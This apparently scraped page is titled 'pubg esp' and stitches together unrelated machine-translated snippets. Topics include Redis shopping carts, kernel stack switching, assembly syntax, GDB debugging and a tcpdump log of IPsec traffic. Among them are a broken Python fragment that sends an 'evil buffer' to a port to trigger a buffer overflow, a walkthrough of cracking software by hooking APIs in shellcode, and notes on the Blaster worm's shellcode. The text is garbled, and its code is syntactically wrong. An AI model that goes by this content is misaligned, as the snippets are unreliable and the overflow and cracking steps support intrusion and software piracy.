pubg esp

(Setup Sound" +crash+ "\x90\x90#)" s = Socket.socket (socket.af_inet,socket. SOCK_STREAM) print "[*]sending evil buffer ..." S.connect ((host,1327)) data = S.RECV (1024x768) print datas.send (buffer) S.close () print "[*]payload sent!"EDB if a buffer overflow occurs, the next instruction cannot be carried out, there will be an alarm pop-up window can confirm a buffer overflow vulnerability #通过修改发送 the value of "A" to verify that the EIP register can be modified only if the numb

RedisTechnical Direction Login User store Two 1 item information in Redis, save a sku_id and count (because the settlement is needed) storage type >> HashIf you don't think of one, it's best to try it out.Xxxx{}.format (user_id) ={xxx:10,xxxxx:20} Hashigen is the right place to make a shopping cartThe Redis also stores a check-in function.It is convenient to use set type because of automatic weightOf course, if the pursuit of a perfect list can not be too big for you to Lrem and then store also

next kernel processAs a whole, the current process stack is pressed, the ESP is saved on the Prev SP (the string tag parameter used here), and then the next SP is put into ESP, which completes the kernel stack switch.Put 1f into the prev IP, save the current process Eip recover from here, and then push next IP, the next process starting point into the next stack, that is, the bottom of the stack is the sta

Just interested, Daniel passed by.The silent sister sends a software which is cracked by the SMC Way, then studies its shellcode in the SMC.//////////////////////////////////////////////////////////////////////////////////////////////////Execution process:1. First get kernel32 imagebase as the initial analytic PE, get the export table.2. Then remove the GetProcAddress function address to get the specified API3.Api Hook cracked the softwareAnalysis Code:00400380 Pushad; Save Regi

quickly, mainly have the following: ① assembly instructions followed by the length of the operation of the suffix, such as MOV instructions, if the operand is 8 bits, then with MOVB, if the operand is 16 bits, then with MOVW, if the operand is 32 bits, then use MOVL , if the operand is 64 bits, then with MOVQ, the rest of the instructions, and so on; the ② operand is in the order of the source operand, the target operand is after it, such as MOVW%cs,%ax means moving the data in the CS register

Lea edx,[ebp-14h]0040142b Push edx0040142c push 15h0040142e push 14h00401430 push 13h00401432 call @ILT +15 (Fnnakedcall) (00401014) 00401437 add esp,10h0040143a mov dword ptr [ebp-18h],eax133:You can see that the calling convention conforms to the __CDECL convention, so keep a look:68:69: __declspec (naked) int __cdecl fnnakedcall (int arg1, short arg2, char arg3, void *arg4)

(int argc, char **argv) { int i=0; (GDB) Char *str; str=argv[1]; Fun (str); return 0; } Set breakpoints on line 12 and 21. (GDB) b Breakpoint 1 at 0x8048420:file test.c. (GDB) b Breakpoint 2 at 0x8048455:file test.c, line 21. Now enter AAAA to run and view register EBP, ESP. (GDB) r AAAA starting program:/root/test AAAA Breakpoint 2, Main (argc=2, argv=0xbf999114) at te

2 years ago, when the "shock wave" virus broke out, I had an analysis of its shellcode, and now I gave it to the analysis I wrote, Let's see what a generation of poison is. In general, Shellcode are written in this way, so long as the hook Shellcode must invoke the API to judge ESP and EIP If the difference is within 0x1000 (that is, the code is running on the stack), you can basically confirm that the system is under a buffer overflow attack and that

host 1.1.1.1 and 1.1.1.2 20:13:32. 485925 IP 1.1.1.2> 1.1.1.1: ESP (spi = 0x5dd784dd, seq = 0x16b), length 100 20:13:33. 484953 IP 1.1.1.1> 1.1.1.2: ESP (spi = 0x6b26c2e7, seq = 0x16c), length 100 20:13:33. 487009 IP 1.1.1.2> 1.1.1.1: ESP (spi = 0x5dd784dd, seq = 0x16c), length 100 20:13:34. 486172 IP 1.1.1.1> 1.1.1.2: ESP